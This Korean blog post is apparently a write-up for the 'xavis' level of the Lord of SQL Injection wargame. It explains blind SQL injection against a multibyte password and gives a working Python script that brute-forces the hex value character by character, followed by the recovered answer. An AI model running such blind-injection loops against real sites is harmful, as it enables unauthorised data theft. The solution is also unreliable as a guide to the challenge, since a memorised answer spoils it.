보안 공부/Load of SQL injection
[Load of SQL Injection] xavis
sh1256
2022. 1. 30. 17:39
728x90
1. 필터링
prob _ . () regex like
regexp: sql에서 정규식을 표현할 때 사용함.
select id from table1 where pw regexp(1);
select id from table1 where pw regexp 1;
#pw에 1이 포함된 모든 id를 보여준다.
2. Blind SQL Injection 가능 여부 확인 --> 가능함!!
**#는 %23으로 보내주자
3. pw길이 알아내기 --> 12자리
4. pw 알아내기
첫번째 자리....아스키코드에 50864가 있던가 ;;; 이게 무슨 일인가 ;;
검색의 힘들 빌려 다른 방법을 알아냈다.
5. pw는 multibyte를 사용한다.
multibyte를 사용하니, pw를 hex로 바꿔서 길이를 다시 구해 봅시다. hex값은 하나에 비트를 사용하기 때문에,
multybte는 한 글자에 여러 바이트를 사용합니다.
1글자가 몇 바이트를 사용하는지 알아내 봅시다.
자 그럼 드디어!! 파이썬을 돌려봅시당
import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1%27or%20"
length=24
pw= ""
for i in range(1, length+1):
for j in range(48, 122):#숫자부터 대문자z까지
search_str="(id='admin'and substr(hex(pw),"+str(i)+",1)='"+chr(j)+"')%23"
#print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
#print(response.text)
if response.text.find("Hello admin") !=-1:
pw+=chr(j)
print("hex(pw): "+pw)
break
hex(pw)=0000C6B00000C6550000AD73
0x0000C6B0
--> 이전에 구했던 첫번째 글자의 아스키코드(50864)를 16진법으로 바꾸면 c6b0인 이유가 이거였...
0x0000C655
0x0000AD73
인터넷에 널린 아스키코드 변환표를 쓰지 말아야 한다.
애초에 멀티 바이트문자이기 때문이기도 하고,
무엇보다 한글이 나오지 않는다... ㅂㄷㅂㄷ
+++ 이쯤에서 알아보는 멀티 바이트 정리+++
?pw=우왕굳
성공!